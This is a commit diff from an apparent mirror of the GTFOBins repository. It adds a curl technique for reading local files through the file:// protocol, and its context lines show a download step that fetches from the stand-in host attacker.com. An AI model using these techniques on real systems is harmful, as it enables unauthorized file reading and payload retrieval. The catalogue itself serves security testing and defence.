mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-18 22:29:25 +02:00
Add file-read to curl
This commit is contained in:
@@ -12,4 +12,9 @@ functions:
|
|||||||
URL=http://attacker.com/file_to_get
|
URL=http://attacker.com/file_to_get
|
||||||
LFILE=file_to_save
|
LFILE=file_to_save
|
||||||
curl $URL -o $LFILE
|
curl $URL -o $LFILE
|
||||||
|
file-read:
|
||||||
|
- description: Uses the FILE protocol to fetch and display the file. The file path must be absolute.
|
||||||
|
code: |
|
||||||
|
LFILE=/tmp/file_to_read
|
||||||
|
curl file://$LFILE
|
||||||
---
|
---
|
||||||
|
Reference in New Issue
Block a user